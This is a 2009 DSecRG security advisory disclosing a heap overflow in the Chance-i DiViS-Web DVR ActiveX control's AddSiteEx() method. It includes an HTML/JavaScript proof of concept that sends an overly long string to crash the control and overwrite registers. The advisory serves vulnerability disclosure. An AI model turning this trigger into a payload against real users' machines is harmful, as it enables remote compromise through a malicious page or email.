Digital Security Research Group [DSecRG] Advisory #DSECRG-09-035
original advisory: http://dsecrg.com/pages/vul/DSECRG-09-035.html
Application: Chance-i DiViS-Web DVR System ActiveX control
Versions Affected: 3,0,0,7
Vendor URL: http://www.chance-i.com/
Bug: Heap Overflow
Exploits: YES
Reported: 13.03.2009
Second Reported: 20.03.2009
Solution: NONE
Date of Public Advisory: 09.04.2009
Author: Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)
Description
DiViS-Web ActiveX (ActiveView.cab) has Heap Overflow vulnerability.
Details
Heap overflow vulnerability found in AddSiteEx() function.
There is an exploitable heap overflow vulnerability in DVR's ActiveX
control (ActiveView.cab).
If an DVR user were to visit a malicious web page, the overflow could be triggered allowing for a "remote" compromise of
the user's machine. Alternatively, an attacker could send their target a specially crafted e-mail, loaded with an exploit
to take advantage of this vulnerability.
The problem arises by passing an overly long string to the AddSiteEx
method of the control.
PoC:
<OBJECT ID="DVR" classid="clsid:66F7F252-3FE1-4650-B1E5-94B2A38271C5" STYLE="width: 0px;">
<PARAM NAME="_Version" VALUE="65536">
<PARAM NAME="_ExtentX" VALUE="18203">
<PARAM NAME="_ExtentY" VALUE="13705">
<PARAM NAME="_StockProps" VALUE="0">
<PARAM NAME="Split" VALUE="4">
</OBJECT>
//server address
var g_sAddress = location.hostname;
var g_sId = "";
var g_sPwd = "";
var g_bLogin = false;
var g_nMaxCamera = 16;
// Port setting
var g_nImage = 3000;
var g_nControl = 3001;
var g_nSound = 8800;
var long_buff = "alexsint";
while(long_buff.length<(550*8)) long_buff = long_buff + "alexsint"; //rewrite registers
DVR.Channels = 1;
DVR.AddSiteEx("", "", long_buff, "", 0, g_nImage, g_nControl, g_nSound); //Crash on Free() at ntdll
Solution
We did not get any response from vendor for more than 2 weeks.
No patches aviable.
About
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Digital Security Research Group focuses on web application and database security problems with vulnerability reports,
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Contact: research [at] dsecrg [dot] com
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Regards,
Digital Security Research Group [DSecRG]